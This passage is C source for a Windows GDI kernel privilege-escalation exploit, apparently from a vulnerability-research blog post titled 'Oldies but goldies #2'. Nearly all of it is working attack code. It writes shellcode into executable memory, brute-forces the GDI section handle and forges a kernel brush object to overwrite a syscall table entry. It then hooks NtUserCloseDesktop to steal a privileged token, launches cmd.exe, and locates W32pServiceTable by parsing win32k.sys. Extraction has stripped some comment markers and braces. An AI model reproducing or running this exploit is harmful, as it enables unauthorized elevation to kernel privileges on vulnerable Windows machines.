ulSize = 0x1000;

rc = NtAllocateVirtualMemory(

(HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,

MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE

);

if (! NT_SUCCESS(rc)) {

fprintf(

stderr, "NtAllocateVirtualMemory() failed. (%d)\n",

(int) GetLastError()

);

}

mem = (CHAR *) 0;

memcpy(&mem[2], code_payload, sizeof(code_payload)-1);

fprintf(stderr, "[*] Shellcode written to 0x%08X\n", (int) &mem[2]);

* Must create a GDI object before being able to map the GDI section.

hBR = CreateSolidBrush(0);

wIdx = (WORD) (((DWORD) hBR) & 0xffff);

wUpr = (WORD) (((DWORD) hBR) >> 16);

* Bruteforce the GDI section handle.

fprintf(stderr, "[*] Bruteforcing the GDI section handle.\n");

for (hMap = (HANDLE) 0; hMap < MAX_GDI_HANDLE; hMap++) {

if (lpAddr != NULL)

CloseHandle(hMap);

lpAddr = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);

if (lpAddr == NULL)

continue;

rc = NtQuerySection(hMap, 0, &sec, sizeof(sec), 0);

if (! NT_SUCCESS(rc)) {

fprintf(stderr, "NtQuerySection() failed.\n");

continue;

}

if (sec.SectionSize.QuadPart < dwMinGdiTableSize)

continue;

pGDI = (GDITableEntry *) lpAddr;

* Determine if it's the real GDI section by checking if the

* DC handle to the window we created exists and have the

* correct values.

if (pGDI[wIdx].wProcess == pid

&& pGDI[wIdx].wUpper == wUpr

&& pGDI[wIdx].wType == BRUSH_TYPE)

break;

}

if (hMap == MAX_GDI_HANDLE) {

fprintf(stderr, "GDI section not found!\n");

VirtualFree(mem, 0x1000, MEM_DECOMMIT);

return 5;

}

fprintf(

stderr,

"[*] Writable GDI section mapped @ 0x%X\n",

(UINT) lpAddr

);

* Make the fake kernelspace brush object.

memset(FakeObj, '\0', sizeof(FakeObj));

FakeObj[1] = 0xbadc0ded;

FakeObj[2] = 1;

i = wIdx;

* Use our brush-object to achieve an overwrite of the address

* specified in FakeObj[9] with the value 2.

FakeObj[0] = dwDC = MAKE_DC(pGDI[i].wUpper, i);

* Save the original pKernelInfo pointer.

dwOrigKernelInfo = pGDI[i].pKernelInfo;

pGDI[i].pKernelInfo = (DWORD) FakeObj;

* Temporarily change the pKernelInfo pointer and trigger calls

* to bDeleteBrush() by calling NtGdiDeleteObjectApp(), which

* will write 0x00000002 to the address specified in FakeObj[9].

fprintf(

stderr,

"[*] Triggering write with 0x00000002 to 0x%08X\n",

(UINT) dwSysCallAddr

);

FakeObj[9] = dwSysCallAddr;

DoSysCall(SYS_NtGdiDeleteObjectApp, dwDC);

* Restore the original pKernelInfo pointer.

pGDI[i].pKernelInfo = dwOrigKernelInfo;

fprintf(stderr, "[*] NtUserCloseDesktop() hooked!\n");

printf("[*] Calling NtUserCloseDesktop() to execute our shellcode.\n");

dwOldToken = DoSysCall(SYS_NtUserCloseDesktop, 0);

printf("[*] Return value = 0x%X\n", (int) dwOldToken);

fprintf(stderr, "[*] Executing cmd.exe.\n");

ShellExecute(NULL, "open", "cmd", NULL, ".", SW_SHOWNORMAL);

memcpy(&mem[2], code_restore, sizeof(code_restore)-1);

fprintf(stderr, "[*] Restore code written to 0x%08x.\n", (int) &mem[2]);

pdwArgs[0] = dwOldToken;

pdwArgs[1] = dwSysCallAddr;

pdwArgs[2] = dwOrigSysCall;

fprintf(stderr, "[*] Restoring token and syscalls.\n");

DoSysCall(SYS_NtUserCloseDesktop, (DWORD) pdwArgs);

CloseHandle(hMap);

VirtualFree(mem, 0x1000, MEM_DECOMMIT);

return 0;

}

static DWORD

GetW32pServiceTableAddr(DWORD dwSysCall, DWORD *pdwOrigSysCall)

{

DWORD dwTextMin, dwTextMax, dwFileSize, dwSize, dwAddr, dwIAT;

DWORD dwDataMin, dwDataMax, dwDataSize;

DWORD dwInitMin, dwInitMax, dwInitSize;

TCHAR lpDir[256], lpFileName[256];

DWORD dwW32pServiceTableAddr;

PIMAGE_IMPORT_DESCRIPTOR pid;

PIMAGE_OPTIONAL_HEADER poh;

PIMAGE_SECTION_HEADER psh;

PIMAGE_FILE_HEADER pfh;

PDWORD pdwSysCallTable;

PIMAGE_THUNK_DATA ptd;

PIMAGE_DOS_HEADER pdh;

PIMAGE_NT_HEADERS pnh;

PBYTE pInit, pData;

HANDLE hFile, hMap;

DWORD rc, i, j;

PBYTE p, pMap;

rc = GetEnvironmentVariable("SystemRoot", lpDir, sizeof(lpDir));

if (rc == 0) {

fprintf(

stderr, "GetEnvironmentVariable() failed. (%d)\n",

(int) GetLastError()

);

return 0;

}

memset(lpFileName, '\0', sizeof(lpFileName));

snprintf(

lpFileName, sizeof(lpFileName),

"%s\\SYSTEM32\\WIN32K.SYS", lpDir

);

hFile =

CreateFile(

lpFileName, GENERIC_READ,

FILE_SHARE_READ, NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL

);

if (hFile == INVALID_HANDLE_VALUE) {

fprintf(

stderr, "CreateFile() failed. (%d)\n",

(int) GetLastError()

);

return 0;

}

dwFileSize = GetFileSize(hFile, NULL);

if (dwFileSize == INVALID_FILE_SIZE) {

fprintf(

stderr, "GetFileSize() failed. (%d)\n",

(int) GetLastError()

);

CloseHandle(hFile);

return 0;

}

hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

if (hMap == NULL) {

fprintf(

stderr, "CreateFileMapping() failed. (%d)\n",

(int) GetLastError()

);

CloseHandle(hFile);

return 0;

}

pMap = (LPVOID) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

if (pMap == NULL) {

fprintf(

stderr, "MapViewOfFile() failed. (%d)\n",

(int) GetLastError()

);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

pdh = (PIMAGE_DOS_HEADER) pMap;

if (pdh->e_magic != IMAGE_DOS_SIGNATURE) {

fprintf(stderr, "Invalid DOS signature in PE-file.\n");

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

pnh = (PIMAGE_NT_HEADERS) &pMap[pdh->e_lfanew];

if (pnh->Signature != IMAGE_NT_SIGNATURE) {

fprintf(stderr, "Invalid NT signature in PE-file.\n");

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

pfh = (PIMAGE_FILE_HEADER)

&pMap[pdh->e_lfanew + sizeof(IMAGE_NT_SIGNATURE)];

poh = (PIMAGE_OPTIONAL_HEADER)

((PBYTE) pfh + sizeof(IMAGE_FILE_HEADER));

dwAddr =

poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]

.VirtualAddress;

pid = (PIMAGE_IMPORT_DESCRIPTOR) &pMap[dwAddr];

dwSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;

for (i = 0; i < dwSize / sizeof(pid[0]); i++) {

if (pid[i].Name != 0) {

ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];

for (j = 0; ptd[j].u1.AddressOfData; j++) {

DWORD x = ptd[j].u1.AddressOfData + 2;

if (! strcmp(

&pMap[x],

"KeAddSystemServiceTable"

))

break;

}

if (ptd[j].u1.AddressOfData != 0)

break;

}

if (i == dwSize / sizeof(pid[0])) {

fprintf(stderr, "Could not find IAT-entry.\n");

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

dwIAT = poh->ImageBase;

dwIAT += pid[i].FirstThunk;

dwIAT += j * sizeof(ptd[0]);

psh = (PIMAGE_SECTION_HEADER)

((PBYTE) poh + sizeof(IMAGE_OPTIONAL_HEADER));

for (i = j = 0; i < pfh->NumberOfSections && j < 3; i++) {

if (! strcmp(psh[i].Name, ".text")) {

dwTextMin = poh->ImageBase + psh[i].VirtualAddress;

dwTextMax = dwTextMin + psh[i].SizeOfRawData;

j++;

}

if (! strcmp(psh[i].Name, "INIT")) {

dwInitMin = poh->ImageBase + psh[i].VirtualAddress;

dwInitMax = dwInitMin + psh[i].SizeOfRawData;

pInit = &pMap[psh[i].PointerToRawData];

dwInitSize = psh[i].SizeOfRawData;

j++;

}

if (! strcmp(psh[i].Name, ".data")) {

dwDataMin = poh->ImageBase + psh[i].VirtualAddress;

dwDataMax = dwDataMin + psh[i].SizeOfRawData;

pData = &pMap[psh[i].PointerToRawData];

dwDataSize = psh[i].SizeOfRawData;

j++;

}

if (j != 3) {

fprintf(stderr, "Could not locate .data and .text.\n");

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

/* Find the call to KeAddSystemServiceTable */

for (p = pInit; p < &pInit[dwInitSize-6]; p++)

if (p[0] == 0xFF && p[1] == 0x15) {

DWORD x = *((PDWORD) &p[2]);

if (x == dwIAT)

break;

}

if (p == &pInit[dwInitSize-6]) {

fprintf(

stderr,

"Could not find call to KeAddSystemServiceTable.\n"

);

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

/* Find the push of W32pServiceTable */

dwW32pServiceTableAddr = 0;

p -= 5;

while (p > pInit) {

if (p[0] == 0x68) {

DWORD x = *((PDWORD) &p[1]);

if (x >= dwDataMin && x <= dwDataMax) {

dwW32pServiceTableAddr = x;

break;

}

if (dwW32pServiceTableAddr == 0) {

fprintf(

stderr,

"Could not find push of W32pServiceTableAddr.\n"

);

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return 0;

}

pdwSysCallTable =

(PDWORD) &pMap[dwW32pServiceTableAddr - poh->ImageBase];

*pdwOrigSysCall = pdwSysCallTable[dwSysCall-0x1000];

UnmapViewOfFile(pMap);

CloseHandle(hMap);

CloseHandle(hFile);

return dwW32pServiceTableAddr;

}

ClevCode

Vulnerability Research, Exploit Development, Reverse-Engineering

Tag Archives: windows kernel exploit gdi

Oldies but goldies #2: Windows GDI Kernel Exploit